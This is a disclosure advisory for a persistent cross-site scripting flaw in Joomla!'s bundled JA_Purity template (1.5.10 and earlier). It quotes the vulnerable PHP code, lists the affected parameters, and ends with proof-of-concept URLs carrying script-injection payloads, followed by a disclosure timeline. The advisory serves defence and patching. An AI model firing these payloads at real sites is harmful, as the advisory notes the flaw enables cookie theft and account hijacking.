Brought to you by:
Suppliers of:
JA_Purity template is bundled in Joomla! and fails to sanitize user supplied input . An attacker can inject JavaScript or DHTML that will be saved in the cookie making persistent, running in the context of targeted user browser, allowing him to steal cookies.
Credit:
The information has been provided by Juan Galiana Lara .
Vulnerable Systems:
* Joomla! version 1.5.10 and earlier with JA_Purity template 1.2.0
Immune Systems:
* Joomla! version 1.5.11 and later
An attacker can exploit the vulnerability to store a persistent XSS. This may lead in theft of the targeted user's cookies and gain access to the user account.
In file 'template/ja_purity/ja_templatetools.php', the getUserSetting() reads $_GET array and makes the data persistent setting it in a cookie:
4 define ('JA_TOOL_FONT', 'ja_font');
...
27 function getUserSetting(){
28 $exp = time() + 60*60*24*355;
29 if (isset($_COOKIE[$this->template.'_tpl']) && $_COOKIE[$this->template.'_tpl'] == $this->template){
30 foreach($this->_params_cookie as $k=>$v) {
31 $kc = $this->template."_".$k;
32 if (isset($_GET[$k])){
33 $v = $_GET[$k];
34 setcookie ($kc, $v, $exp, '/');
35 }else{
36 if (isset($_COOKIE[$kc])){
37 $v = $_COOKIE[$kc];
38 }
39 }
40 $this->setParam($k, $v);
41 }
42
43 }else{
44 setcookie ($this->template.'_tpl', $this->template, $exp,
'/');
45 }
46 return $this;
47 }
48
49 function getParam ($param, $default='') {
50 if (isset($this->_params_cookie[$param])) {
51 return $this->_params_cookie[$param];
52 }
53 return $this->_tpl->params->get($param, $default);
54 }
55
56 function setParam ($param, $value) {
57 $this->_params_cookie[$param] = $value;
58 }
File 'template/ja_purity/index.php' reads data with getParam and write it directly:
57 <?php if ($tmpTools->getParam('theme_header') && $tmpTools->getParam('theme_header')!='-1') : ?>
58 <link rel="stylesheet" href="<?php echo $tmpTools->templateurl(); ?>/styles/header/<?php echo $tmpTools->getParam('theme_header'); ?>/style.css" type="text/css" />
59 <?php endif; ?>
60 <?php if ($tmpTools->getParam('theme_background') && $tmpTools->getParam('theme_background')!='-1') : ?>
61 <link rel="stylesheet" href="<?php echo $tmpTools->templateurl(); ?>/styles/background/<?php echo $tmpTools->getParam('theme_background'); ?>/style.css" type="text/css" />
62 <?php endif; ?>
63 <?php if ($tmpTools->getParam('theme_elements') &&
$tmpTools->getParam('theme_elements')!='-1') : ?>
64 <link rel="stylesheet" href="<?php echo $tmpTools->templateurl(); ?>/styles/elements/<?php echo $tmpTools->getParam('theme_elements'); ?>/style.css" type="text/css" />
65 <?php endif; ?>
99: <body id="bd" class="fs<?php echo
$tmpTools->getParam(JA_TOOL_FONT);?> <?php echo $tmpTools->browser();?>" >
118 if ($tmpTools->getParam('logoType')=='image'): ?>
119 <h1 class="logo">
120 <a href="index.php" title="<?php echo $siteName; ?>"><span><?php echo $siteName; ?></span></a>
121 </h1>
122 <?php else:
123 $logoText = (trim($tmpTools->getParam('logoText'))=='') ? $config->sitename : $tmpTools->getParam('logoText');
124 $sloganText = (trim($tmpTools->getParam('sloganText'))=='') ? JText::_('SITE SLOGAN') : $tmpTools->getParam('sloganText'); ?>
125 <h1 class="logo-text">
126 <a href="index.php" title="<?php echo $siteName; ?>"><span><?php echo $logoText; ?></span></a>
127 </h1>
128 <p class="site-slogan"><?php echo $sloganText;?></p>
129 <?php endif; ?>
These are all the variables of JA_Purity template, most of them are
vulnerable:
logoType
logoText
sloganText
ja_font
ja_screen
ja_screen_width
theme_header
theme_background
theme_elements
horNav
horNavType
rightCollapsible
rightCollapseDefault
excludeModules
showComponent
Proof Of Concept
http://site/path/?theme_header=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?theme_background=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?theme_elements=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?logoType=1&logoText=%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?logoType=1&sloganText=%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?excludeModules=%27;alert(8);%20var%20b=%27
http://site/path/?rightCollapseDefault=%27;alert(8);%20var%20b=%27
http://site/path/?ja_font=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
Disclosure Timeline:
April 5, 2009: Discovered by Internet Security Auditors.
April 6, 2009: Vendor contacted. They will study the advisory.
May-June, 2009: No responses to queries about patching schedule.
June 3, 2009: Security Release 1.5.11 published.
Please enable JavaScript to view the comments powered by Disqus.
blog comments powered by